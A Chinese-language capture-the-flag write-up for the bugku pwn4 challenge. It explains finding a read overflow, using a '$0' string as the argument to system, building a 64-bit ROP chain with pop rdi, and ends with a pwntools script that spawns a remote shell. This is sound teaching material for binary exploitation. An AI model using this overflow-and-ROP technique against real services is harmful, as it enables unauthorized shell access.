这道题来自bugku的第三道pwn题,pwn4。首先进行一些常规检查。
一个64位动态链接的程序,没有开什么保护。
然后用IDA打开,有个危险函数read
,可以用来溢出。
shift + F12
查看有没有可疑字符串,然后在字符串上按x
查看引用他的地方,找到了一个system
函数
但是system函数里面的字符串并不是我们想要的'/bin/sh'
,尝试用ROPgadget
去搜索,命令为ROPgadget --binary pwn4 --string '/bin/sh'
,搜索无果。。。再回到IDA中检测字符串
发现了一个$0
,$0
在linux中为为shell或shell脚本的名称。
system()
会调用fork()
产生子进程,由子进程来调用/bin/sh -c string
来执行参数string
字符串所代表的命令,此命令执行完后随即返回原调用的进程。
所以如果将$0
作为system
的参数,能达到传入'/bin/sh'
一样的效果。
上面的图展示了$0
在bash
中的值,可以看到一开始的进程只有两个,此时输出$0
,得到的是bash
本身,单独输入$0
,可以看到多了一个bash
进程。
有了system
函数和$0
作为参数,就可以进行溢出了。
还有要注意的就是64位
程序和32位
程序的传参方式不一样,32位的函数调用使用栈传参,64位的函数调用使用寄存器传参,分别用rdi
、rsi
、rdx
、rcx
、r8
、r9
来传递参数(参数个数小于7的时候)。
我们利用ROPgadget
工具进行查找,得到pop rdi ; ret
和$0
的地址,system
的地址直接在IDA中查看
首先先填充缓冲区,大小为0x10
,然后覆盖rbp
,8个字节,传入pop rdi;ret
的地址和$0
,将栈中$0
的地址弹出,存入rdi
作为参数,在传入system
地址进行调用。
下面是脚本
from pwn import *
context.log_level = 'debug'
conn = remote('114.116.54.89', 10004)
# conn = process('./pwn4')
pop_rdi = 0x00000000004007d3
bin_sh = 0x000000000060111f
system = 0x000000000040075A
payload = 'A' * (0x10+8) + p64(pop_rdi) + p64(bin_sh) + p64(system)
conn.recvuntil('Come on,try to pwn me')
conn.sendline(payload)
conn.interactive()